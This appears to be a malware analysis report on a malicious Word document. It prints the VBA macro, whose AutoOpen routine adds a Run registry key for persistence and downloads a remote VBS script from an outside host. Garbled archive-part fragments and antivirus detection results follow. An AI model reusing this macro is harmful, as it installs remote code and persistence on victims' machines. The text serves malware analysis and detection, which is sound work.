    objHTTP.Send
    
    For i = 1 To LenB(objHTTP.ResponseBody)
        objFile.Write Chr(AscB(MidB(objHTTP.ResponseBody, i, 1)))
    Next
End Function
Sub AutoOpen()
On Error Resume Next

DeleteImage
InsertText

Set ws = CreateObject("WScript.Shell")
strMyPath = ws.SpecialFolders("Templates")
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\windir", strMyPath & "\mini.vbs", "REG_SZ"
DownloadFile "http://smart.com-coffee.click/trash/conf/vorontsov/mini.vbs", strMyPath & "\mini.vbs"

End Sub

                                    
[Content_Types].xml
VgUL]Q
x-bs=?:
_rels/.rels
word/_rels/document.xml.rels
:=?[=A#
\/8Ca*
word/document.xml
j<5M8b
C-z6j_
Fd6xg!
A\8j/J
\Dp}"s
1a=K](
XcE~!W
Z[0-Y2Q
1|;w'Mo
word/footnotes.xml
8*D'Vz
word/endnotes.xml
9OuI%h^
(Hcu>
word/_rels/vbaProject.bin.relsl
-\Ya;>>
word/vbaProject.bin
|VHy1{
%( XGPHPD
~o.+\a_
GS_1qO.
Up'Nst
n&Q<c;
OBOnj8
YCYfpa0%
Q{<AO/
xbao^N
u~iAknqVh
*!oJ$h
$x3[h61m
Wb$T]*
:4\5S7
q]G]'a
}VWUx/'
I${=8n*]
=L/1(!5
]7oCqqn
4I_)P(P
W65'<9
HdZ@2Dz
|>262t
Lvbg)r
2YJC(&@
word/theme/theme1.xml
idh(ltX
2MwiTHk
^I6hIs
word/settings.xml
word/vbaData.xml
word/webSettings.xml
word/styles.xml
=Os1R{8
gTCdiD#eiD
:&\lW8*'
4n=lW --
docProps/app.xml
Nz-Md]Z
docProps/core.xml
BV^1@Y
word/fontTable.xml
/J2qFJ&bLoF
[Content_Types].xmlPK
_rels/.relsPK
word/_rels/document.xml.relsPK
word/document.xmlPK
word/footnotes.xmlPK
word/endnotes.xmlPK
word/_rels/vbaProject.bin.relsPK
word/vbaProject.binPK
word/theme/theme1.xmlPK
word/settings.xmlPK
word/vbaData.xmlPK
word/webSettings.xmlPK
word/styles.xmlPK
docProps/app.xmlPK
docProps/core.xmlPK
word/fontTable.xmlPK
Antivirus Signature
Bkav Clean
Lionic Trojan.MSWord.Suspic.4!c
Elastic malicious (high confidence)
DrWeb Clean
MicroWorld-eScan Trojan.GenericKD.67497463
CMC Clean
CAT-QuickHeal Clean
ALYac Trojan.Downloader.DOC.Gen
Malwarebytes Clean
VIPRE Trojan.GenericKD.67497463
Sangfor Clean
K7AntiVirus Clean
BitDefender Trojan.GenericKD.67497463
K7GW Clean
Arcabit HEUR.VBA.Trojan.d
BitDefenderTheta Clean
VirIT W97M/Downloader.AR
Cyren Clean
Symantec Clean
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
Alibaba Trojan:Script/Suspic.c3ab9e1c
NANO-Antivirus Clean
ViRobot Clean
Ad-Aware Clean
Sophos Clean
F-Secure Heuristic.HEUR/Macro.Downloader.MRPC.Gen
Baidu Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition RDN/Real Protect-LS
FireEye Trojan.GenericKD.67497463
Emsisoft Trojan.GenericKD.67497463 (B)
SentinelOne Static AI - Malicious OPENXML
Avast-Mobile Clean
Jiangmin Clean
Google Clean
Avira HEUR/Macro.Downloader.MRPC.Gen
MAX malware (ai score=88)
Antiy-AVL Trojan/Script.Suspic.gen
Gridinsoft Clean
Xcitium Clean
Microsoft Clean
SUPERAntiSpyware Clean
GData Trojan.GenericKD.67497463
Cynet Malicious (score: 99)
AhnLab-V3 Clean
Acronis suspicious
McAfee RDN/Real Protect-LS
TACHYON Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.